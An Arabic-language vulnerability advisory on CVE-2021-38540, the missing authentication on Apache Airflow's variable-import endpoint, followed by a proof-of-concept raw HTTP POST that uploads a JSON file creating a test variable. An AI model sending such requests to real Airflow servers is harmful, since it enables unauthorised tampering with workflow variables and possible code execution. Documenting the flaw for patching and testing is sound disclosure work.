
غياب المصادقة على مكون حاسم CVE-2021-38540
مصادقة مفقودة على مكون حرج يُعرف باسم CVE-2021-38540
لم تكن نقطة نهاية استيراد المتغيرات محمية بالمصادقة في Airflow >=2.0.0، <2.1.3. وقد سمح ذلك للمستخدمين غير المصادقين بالوصول إلى تلك النقطة لإضافة/تعديل متغيرات Airflow المستخدمة في DAGs، مما قد يؤدي إلى رفض الخدمة أو كشف المعلومات أو تنفيذ تعليمات برمجية عن بُعد. تؤثر هذه المشكلة على Apache Airflow >=2.0.0، <2.1.3. [CVE-2021-38540]
يحتوي إثبات المفهوم هذا على طلب يقوم بإنشاء متغير باسم: kafka_captainhook_user ضمن Admin>variables [ List Variables ]
POST /variable/varimport HTTP/2
Host: airflow.example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------33976360506209910502051128075
Content-Length: 398
Origin: https://airflow.example.com
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
-----------------------------33976360506209910502051128075
Content-Disposition: form-data; name="csrf_token"
-----------------------------33976360506209910502051128075
Content-Disposition: form-data; name="file"; filename="variables.json"
Content-Type: application/json
{
"kafka_captainhook_user": "testCaptain"
}
-----------------------------33976360506209910502051128075--